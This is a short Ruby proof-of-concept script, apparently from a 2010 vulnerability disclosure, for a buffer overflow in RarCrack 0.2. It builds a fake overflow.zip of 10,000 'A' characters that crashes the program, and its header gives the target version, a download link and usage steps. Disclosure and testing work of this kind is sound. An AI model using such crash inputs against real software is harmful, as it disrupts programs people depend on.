#!/usr/bin/env ruby
#  overflow.rb
#
#    __________  ____  __  ______  _________
#   / ____/ __ \/ __ \/ / / / __ \/ ____<  /
#  / / __/ /_/ / / / / / / / /_/ /___ \ / /
# / /_/ / _, _/ /_/ / /_/ / ____/___/ // / 
# \____/_/ |_|\____/\____/_/   /_____//_/  
#                                        
#
#  Title:   RarCrack 0.2 Buffer Overflow POC
#  Date:   19.09.2010
#  Author:  The_UnKn@wn
#  Email:  the_unknown [at] group51.org
#  Twitter: @The_UnKn0wn
#  Homepage: http://group51.org  
#  Software Link:  http://sourceforge.net/projects/rarcrack/files/rarcrack-0.2/%5BUnnamed%20release%5D/rarcrack-0.2.tar.bz2/download
#  Version:  0.2
#  Tested on:  openSUSE 11.3
#  CVE:   none
#
# Impact:  RarCrack doesn't check the length of the archive and while cracking it crashes.
#
# Usage:
#  $ ruby overflow.rb
#  $ ./rarcrack overflow.zip
#  

text = "A"*10000

File.open("overflow.zip","w") do |l|
 l.puts(text)
end